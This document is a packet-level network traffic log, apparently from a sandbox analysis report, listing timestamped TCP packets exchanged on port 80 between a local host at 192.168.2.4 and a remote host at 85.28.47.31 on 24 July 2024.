Jul 24, 2024 02:39:07.737440109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737457037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737469912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737489939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737517118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737526894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737535000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737560034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737572908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737592936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737623930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737628937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737643003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737688065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737812996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737843990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737859964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737878084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737890959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737910986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737927914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737945080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737957954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737978935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737992048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738013029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738029003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738045931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738059044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738080025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738091946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738114119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738131046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738162041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738374949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738408089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738434076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738440990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738452911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738473892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738491058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738507032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738519907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738539934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738554001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738573074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738585949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738605976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738624096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738692999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738711119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738727093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738740921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738763094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738774061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738795042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738825083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738827944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738847017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738862038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738869905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738894939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738923073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738929033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738940954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738962889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.738977909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.738996983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.739013910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.739032030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.739042044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.739085913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.739140987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.739173889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.739197969 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.739207029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.739218950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.739245892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.739260912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.739279032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.739293098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.739327908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838087082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838160992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838196993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838228941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838268042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838264942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838265896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838265896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838323116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838335991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838335991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838357925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838375092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838392019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838406086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838426113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838439941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838459969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838488102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838495016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838506937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838530064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838563919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838563919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838591099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838601112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838608980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838646889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838663101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838695049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838721991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838727951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838742018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838776112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838849068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838881016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838913918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838917971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838939905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838948011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838962078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.838980913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.838999033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839015007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839040041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839059114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839255095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839289904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839307070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839323044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839337111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839370012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839404106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839437008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839449883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839471102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839495897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839515924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839556932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839591026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839607954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839627028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839643002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839673042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839751005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839781046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839806080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839824915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.839936018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839968920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.839993000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840003014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840018034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840037107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840054989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840070963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840089083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840116978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840122938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840159893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840186119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840193033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840204954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840225935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840241909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840257883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840274096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840292931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840306997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840328932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840342045 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840379953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840817928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840847969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840881109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840881109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840898991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840915918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840929031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840949059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.840962887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.840981960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841008902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841015100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841041088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841048002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841064930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841082096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841094971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841134071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841140985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841166019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841181993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841213942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841362953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841397047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841406107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841429949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841455936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841463089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841476917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841510057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841515064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841552019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841567993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841584921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841598988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841619968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841634035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841654062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.841665030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.841716051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.007107019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.012551069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.190645933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.190687895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.190742016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.190793037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.190809011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.190809965 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.190824986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.190857887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.190890074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.190890074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.190891981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.190923929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.190926075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.190943956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.190972090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.190975904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191010952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191032887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191041946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191065073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191076994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191109896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191112995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191143990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191143990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191176891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191178083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191204071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191229105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191262960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191266060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191292048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191298962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191309929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191332102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191358089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191380024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191386938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191421032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191437960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191456079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191468000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191488028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191517115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191523075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191559076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191566944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191589117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191606998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191644907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191679001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191695929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191713095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191721916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191747904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191761017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191796064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191802025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191849947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191884041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191916943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191951036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.191955090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191976070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.191984892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192009926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192039013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192085981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192117929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192151070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192152023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192168951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192186117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192236900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192238092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192270994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192306042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192306042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192337036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192353964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192357063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192390919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192415953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192421913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192435026 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192456007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192472935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192502022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192517042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192552090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192563057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192584991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192612886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192631960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192713976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192749023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192783117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192807913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192816019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192841053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192866087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192868948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192900896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.192934036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192953110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.192980051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193013906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193037033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193048000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193062067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193083048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193094015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193116903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193134069 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193150043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193162918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193183899 CEST	80	49730	85.28.47.31	192.168.2.4
